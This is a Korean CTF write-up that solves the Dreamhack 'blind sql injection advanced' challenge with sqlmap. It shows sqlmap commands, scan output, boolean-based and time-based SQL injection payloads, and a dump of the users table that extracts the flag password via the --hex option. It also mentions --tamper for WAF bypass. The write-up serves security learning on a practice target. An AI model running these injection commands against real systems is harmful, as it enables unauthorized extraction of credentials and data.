문제 소개
https://dreamhack.io/wargame/challenges/411
제가 소개드릴 문제는, Dreamhack 웹해킹 강의를 듣다보면 만나게 되는 blind sql injection advanced
라는 문제입니다.
문제는 매우 간단하게 Blind Based SQL Injection 테크닉을 이용해 SQL Injection을 진행하는 문제입니다.
위와 같이, 1
처럼 정상적인 요청이 오면 정상적으로 처리되고, 1'
와 같이 쿼리에 실패하는 요청이 가면 500에러가 납니다.
이를 통해서, True인지 False인지 파악이 가능하며, 이를 기반으로 Blind SQL Injection 이 가능합니다.
대부분은 이 문제를, 직접 툴을 짜셔서 문제를 해결했습니다.
하지만, 저는 이 문제를 sqlmap 이라는 도구를 이용해 문제를 해결하려고 합니다.
sqlmap?
https://github.com/sqlmapproject/sqlmap
SQLMAP은 Blind SQL Injection 을 탐지해주는 매우 유서깊은 툴입니다. Boolean, Error, Stack, Time Based injection들을 탐지해주고, 사실상 알려진 모든 테크닉을 진단해줍니다.
굉장히 많은 옵션들이 존재하는데, 너무 복잡하기도하고 잘 안되는거 같아서 실제로 사용해 문제를 푸는건 크게 본적이 없습니다.
그래서, 이번 문제에서 해당 도구를 간략히 소개하면서 문제를 풀어보겠습니다.
문제 조건
먼저, blind sql injection advanced
문제의 조건을 간략히 정리해보겠습니다.
- DBMS는 Mysql을 이용
- 비밀번호는 한글
- 공격 지점은 GET의 uid query parameter로 이루어짐
- 디비명, 테이블명, 컬럼 명을 이미 알고있음
해당 정보들이 모두 sqlmap에 녹아들 것이기때문에 알고있는지 유무가 중요합니다. 이제 문제를 풀어보겠습니다.
1. 취약점 탐지
sqlmap은 크게 두단계에 걸쳐서 프로그램이 작동합니다. 1. 특정 공격지점에 대해서, 실제로 Blind SQL Injection 이 가능한지 탐지합니다 2. 만약 탐지가 됐다면, 해당 공격지점을 이용하여 데이터 추출을 시도합니다.
그렇기 때문에, 실제로 sqlmap을 이용해 문제를 풀기 위해서는, 먼저 취약점을 탐지해야합니다.
sqlmap을 이용해 가장 쉽게 스캐닝을 진행하는 방법은 -u
옵션을 이용하는 것입니다.
-u
옵션은, 단순히 URL을 줘 URL의 쿼리 파라미터를 이용해 Blind SQL Injection이 가능한지 탐지합니다.
그럼 한번 해 볼까요? (편의를 위해 일부 옵션을 더 추가했습니다)
ubuntu@DESKTOP-0DMMSRG:~/sqlmap$ python3 sqlmap.py -u http://host3.dreamhack.games:14960/?uid=1 -p uid --dbms=mysql --skip-waf --flush-session --batch
___
__H__
___ ___["]_____ ___ ___ {1.8.9#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 07:50:50 /2024-09-16/
[07:50:50] [INFO] testing connection to the target URL
[07:50:50] [INFO] testing if the target URL content is stable
[07:50:51] [INFO] target URL content is stable
[07:50:51] [WARNING] heuristic (basic) test shows that GET parameter 'uid' might not be injectable
[07:50:51] [INFO] testing for SQL injection on GET parameter 'uid'
[07:50:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:50:51] [WARNING] reflective value(s) found and filtering out
[07:50:53] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[07:50:54] [INFO] testing 'Generic inline queries'
[07:50:54] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[07:50:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[07:50:55] [WARNING] time-based comparison requires larger statistical model, please wait.......... (done)
[07:51:09] [INFO] GET parameter 'uid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[07:51:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:51:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:51:09] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[07:51:10] [INFO] target URL appears to have 3 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[07:51:19] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[07:51:25] [INFO] checking if the injection point on GET parameter 'uid' is a false positive
GET parameter 'uid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 117 HTTP(s) requests:
---
Parameter: uid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uid=1' AND (SELECT 4437 FROM (SELECT(SLEEP(5)))SrNO) AND 'GjpK'='GjpK
---
[07:51:47] [INFO] the back-end DBMS is MySQL
[07:51:47] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[07:51:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 31 times
[07:51:52] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/host3.dreamhack.games'
[*] ending @ 07:51:52 /2024-09-16/
정상적으로 취약점은 찾았지만, 우리가 생각한 Boolean Based가 아닌 Time Based 취약점 하나만 찾았습니다. 왜 그럴까요?
SQL Injection을 시도 시, 기존의 SQL문을 escaping하고 원하는 SQL문을 injection 해야됩니다.
이때, '
와 같이 간단히 탈출해 원하는 SQL문을 주입할 수도 있지만, `'))))))))))' 와 같이 복잡한 쿼리를 탈출한 뒤 원하는 쿼리를 주입해야할 수도 있습니다.
sqlmap이 이 모든 케이스를 찾기 위해선, 굉장히 시간이 많이들고 부하를 주는 작업이기에, 단계를 나눠 탐지를 진행합니다.
--level
및 --risk
옵션을 통해 단계를 지정할 수 있으며, --level
은 1~5까지, --risk
은 1~3까지 지정할 수 있습니다.
--risk
의 경우, 단계를 높이면 DB에 영향을 주거나 시스템 관리자가 쉽게 발견할 수 있는 쿼리 및 공격지점을 사용합니다 (OR Query, User-agent등에 주입 등)
그럼, --level=3
옵션을 넣어 다시 돌려볼까요? (편의를 위해 --technique=B
옵션을 통해 Boolean만 탐지했습니다)
ubuntu@DESKTOP-0DMMSRG:~/sqlmap$ python3 sqlmap.py -u http://host3.dreamhack.games:14960/?uid=1 -p uid --dbms=mysql --skip-waf --flush-session --technique=B --level 3 --batch
...
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: uid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: uid=1' AND 8787=(SELECT (CASE WHEN (8787=8787) THEN 8787 ELSE (SELECT 1809 UNION SELECT 5568) END))-- -
---
[07:55:33] [INFO] testing MySQL
[07:55:33] [INFO] confirming MySQL
[07:55:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:55:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 24 times
[07:55:34] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/host3.dreamhack.games'
[*] ending @ 07:55:34 /2024-09-16/
정상적으로 Boolean Based SQL Injection 취약점을 찾았네요!
2. 데이터 추출
이제, 취약점을 찾았으니, 데이터를 추출해보겠습니다.
가장 편하게 데이터를 추출하는 방법은, --dump-all
을 이용하는 방법입니다.
정말 말 그대로, 모든 데이터를 추출해줍니다. (호스트명, 유저, 패스워드, 데이터베이스명, 테이블명, 컬럼명, 전체 데이터 등등등)
이때, 하나의 데이터를 추출하기 위해선 아래와 같은 과정이 이뤄집니다.
1. information_schema
와 같은 시스템 테이블을 이용해, 데이터베이스명을 추출
2. 데이터베이스명과 information_schema
를 이용해, 테이블명을 추출
3. 테이블명과 information_schema
를 이용해, 컬럼명을 추출
4. 지금까지 알아낸 데이터베이스명, 테이블명, 컬럼명을 이용해, 데이터를 추출
하지만, 이렇게 되면 Boolean으로 시도시 매우매우 많은 시간이 걸리기 때문에, 기존에 알고있는 데이터베이스명, 테이블명, 컬럼명 정보를 활용해 데이터를 추출해보겠습니다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
문제의 init.sql
파일을 참고하여, 데이터베이스가 user_db
, 테이블이 users
, 컬럼이 uid
, upw
임을 알 수 있습니다.
sqlmap에서, -D
, -T
, -C
옵션을 이용하면 명시적으로 추출할 데이터베이스, 테이블, 컬럼을 지정할 수 있습니다.
이를 통해서 데이터를 추출해볼까요?
ubuntu@DESKTOP-0DMMSRG:~/sqlmap$ python3 sqlmap.py -u http://host3.dreamhack.games:14960/?uid=1 -p uid --dbms=mysql --skip-waf --technique=B --level 3 --batch --dump -D user_db -T users -C uid,upw
...
[08:04:00] [INFO] fetching entries of column(s) 'uid,upw' for table 'users' in database 'user_db'
[08:04:00] [INFO] fetching number of column(s) 'uid,upw' entries for table 'users' in database 'user_db'
[08:04:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[08:04:00] [INFO] retrieved:
[08:04:00] [WARNING] reflective value(s) found and filtering out
3
[08:04:01] [INFO] retrieved: admin
[08:04:09] [INFO] retrieved: DH{
[08:04:32] [INFO] retrieved: guest
[08:04:40] [INFO] retrieved: guest
[08:04:48] [INFO] retrieved: test
[08:04:54] [INFO] retrieved: test
Database: user_db
Table: users
[3 entries]
+-------+-------+
| uid | upw |
+-------+-------+
| admin | DH{ |
| guest | guest |
| test | test |
+-------+-------+
[08:05:01] [INFO] table 'user_db.users' dumped to CSV file '/home/ubuntu/.local/share/sqlmap/output/host3.dreamhack.games/dump/user_db/users.csv'
[08:05:01] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 97 times
[08:05:01] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/host3.dreamhack.games'
[*] ending @ 08:05:01 /2024-09-16/
추출은 되었지만, 위와 같이 한글이 있을것 같은 admin
의 upw
부분이 정상 추출되지 않았습니다.
이는, sqlmap이 일반적인 Blind SQL Injection으로 데이터를 추출하는것 처럼, ASCII 범위, 즉 0xFF 범위까지만 확인하기 때문입니다.
한글의 경우 Unicode로 인코딩되어 있기 때문에, 추출이 안되었습니다.
이를 추출하기 위해서, sqlmap은 --hex
옵션을 이용해, 0xFF 이상의 데이터를 추출할 수 있습니다.
--hex
옵션은 추출할 때 hex로 변환하여 우선 추출한 뒤, 인코딩을 예측해 human-readable한 데이터로 변환해줍니다.
그럼 다시 --hex
옵션을 이용해 추출해볼까요?
ubuntu@DESKTOP-0DMMSRG:~/sqlmap$ python3 sqlmap.py -u http://host3.dreamhack.games:14960/?uid=1 -p uid --dbms=mysql --skip-waf --technique=B --level 3 --batch --dump -D user_db -T users -C uid,upw --hex --flush-session
...
---
Parameter: uid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: uid=1' AND 7754=(SELECT (CASE WHEN (7754=7754) THEN 7754 ELSE (SELECT 8873 UNION SELECT 8213) END))-- -
---
[08:07:22] [INFO] testing MySQL
[08:07:23] [INFO] confirming MySQL
[08:07:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[08:07:23] [INFO] fetching entries of column(s) 'uid,upw' for table 'users' in database 'user_db'
[08:07:23] [INFO] fetching number of column(s) 'uid,upw' entries for table 'users' in database 'user_db'
[08:07:23] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[08:07:26] [INFO] retrieved: 3
[08:07:39] [INFO] retrieved: admin
[08:08:46] [INFO] retrieved: DH{이것이비밀번호!?}
[08:09:05] [INFO] retrieved: guest
[08:09:17] [INFO] retrieved: guest
[08:09:27] [INFO] retrieved: test
[08:09:37] [INFO] retrieved: test
Database: user_db
Table: users
[3 entries]
+-------+---------------+
| uid | upw |
+-------+---------------+
| admin | DH{이것이비밀번호!?} |
| guest | guest |
| test | test |
+-------+---------------+
[08:09:37] [INFO] table 'user_db.users' dumped to CSV file '/home/ubuntu/.local/share/sqlmap/output/host3.dreamhack.games/dump/user_db/users.csv'
[08:09:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 323 times
[08:09:37] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/host3.dreamhack.games'
[*] ending @ 08:09:37 /2024-09-16/
위와같이 비밀번호(플래그)가 정상적으로 추출된 것을 확인할 수 있습니다!
결론
이렇게 sqlmap을 이용해 blind sql injection advanced 문제를 풀어봤습니다.
제가 여기서 소개한 옵션 말고도, 정말 무궁무진한 옵션들이 많이 있습니다.
예를 들어, --tamper
옵션을 이용해 waf를 우회해볼 수 있고, --crawl
이나 --har
을 이용해 크롤링을 하거나 HTTP Archive를 이용해 공격을 시도할 수도 있습니다.
대부분의 버그바운티에서는 sqlmap 등의 스캐닝 도구를 금지하고 있기 때문에, 실제로 사용할 일은 많이 없을 수 있습니다.
하지만 CTF 문제들이나, 실제로 SQL Injection을 실습해볼 때, 매우 유용한 도구이기 때문에, 한번쯤 사용해보시는 것도 좋을 것 같습니다.
다음번에 더 유용한 글로 다시 찾아뵙겠습니다. 감사합니다!